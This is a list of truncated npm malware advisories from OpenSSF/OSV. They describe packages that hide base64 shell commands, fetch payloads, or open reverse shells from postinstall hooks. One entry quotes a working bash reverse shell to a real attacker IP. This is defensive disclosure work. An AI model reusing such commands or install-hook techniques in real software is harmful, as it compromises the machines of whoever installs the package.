npm malware reports, with evidence.

OpenSSF/OSV malware advisory MAL-2026-11027 blocks this version. Package impersonates fs-extra by copying its description, homepage (github.com/jprichardson/node-fs-extra), and repository...

OpenSSF/OSV malware advisory MAL-2026-10439 blocks this version. index.js in react-hot-svg 1.1.4 hides both a shell command and a package name as base64 strings named `svgValidateKey` and...

OpenSSF/OSV malware advisory MAL-2026-10773 blocks this version. The package's Control.plugin() entry point calls PluginOptions(), which fetches a binary payload from https://raw.githubus...

OpenSSF/OSV malware advisory MAL-2026-10773 blocks this version. The package's Control.plugin() entry point calls PluginOptions(), which fetches a binary payload from https://raw.githubus...

OpenSSF/OSV malware advisory MAL-2026-10638 blocks this version. Package advertises itself as a bulk-mailing / mail-server abuse toolkit (homepage mntmc.rip) and ships modules for bulk ma...

OpenSSF/OSV malware advisory MAL-2026-10638 blocks this version. Package advertises itself as a bulk-mailing / mail-server abuse toolkit (homepage mntmc.rip) and ships modules for bulk ma...

OpenSSF/OSV malware advisory MAL-2026-11537 blocks this version. On npm install, the package's postinstall.js opens a TCP socket to 5.tcp.eu.ngrok.io:15496 and pipes the socket's bytes in...

OpenSSF/OSV malware advisory MAL-2026-11536 blocks this version. The package declares a postinstall lifecycle hook (`postinstall: node postinstall.js`) that opens a TCP socket to 5.tcp.eu...

OpenSSF/OSV malware advisory MAL-2026-11543 blocks this version. Package advertised as a date-formatting utility performs supply-chain attack behavior. package.json declares a postinstall...

OpenSSF/OSV malware advisory MAL-2026-11545 blocks this version. package.json declares a postinstall shell pipeline that attempts to mknod and mount the host block device at /tmp/hostroot...

OpenSSF/OSV malware advisory MAL-2026-11544 blocks this version. On npm install, package.json's postinstall hook launches a detached bash reverse shell over /dev/tcp to 124.221.154.135:44...

OpenSSF/OSV malware advisory MAL-2026-11513 blocks this version. internallib_v568@1.0.1 is shaped as a dependency-confusion artifact against a private package name. The main module export...

OpenSSF/OSV malware advisory MAL-2026-11547 blocks this version. package.json declares a postinstall lifecycle hook that executes `bash -i >& /dev/tcp/124.221.154.135/4444 0>&1 &`, openin...

OpenSSF/OSV malware advisory MAL-2026-11546 blocks this version. Package advertises a trivial formatDate utility but ships a malicious npm postinstall hook. The postinstall script launche...

OpenSSF/OSV malware advisory MAL-2026-11550 blocks this version. On require() of the package, index.js loads _compat.js which downloads a platform-specific binary from obfuscated Cloudfla...

OpenSSF/OSV malware advisory MAL-2026-11488 blocks this version. On require/import (and when invoked as a bin), the package's main entrypoint detects Windows and installs an HKCU\Software...

OpenSSF/OSV malware advisory MAL-2026-11489 blocks this version. The package exposes handlers that receive messages over a network connection and dispatch them to shell execution, arbitra...

OpenSSF/OSV malware advisory MAL-2026-11495 blocks this version. The package exports a Helper class that implements two installer-harming primitives on Windows. First, start() launches a...

OpenSSF/OSV malware advisory MAL-2026-11493 blocks this version. test-dev-store is a library module of an infostealer toolkit. utils.js exports path builders that specifically target Chro...

OpenSSF/OSV malware advisory MAL-2026-11497 blocks this version. index.js contains two base64 constants that decode to the shell command `npm install rollup-plugin-polyfill-helper --no-sa...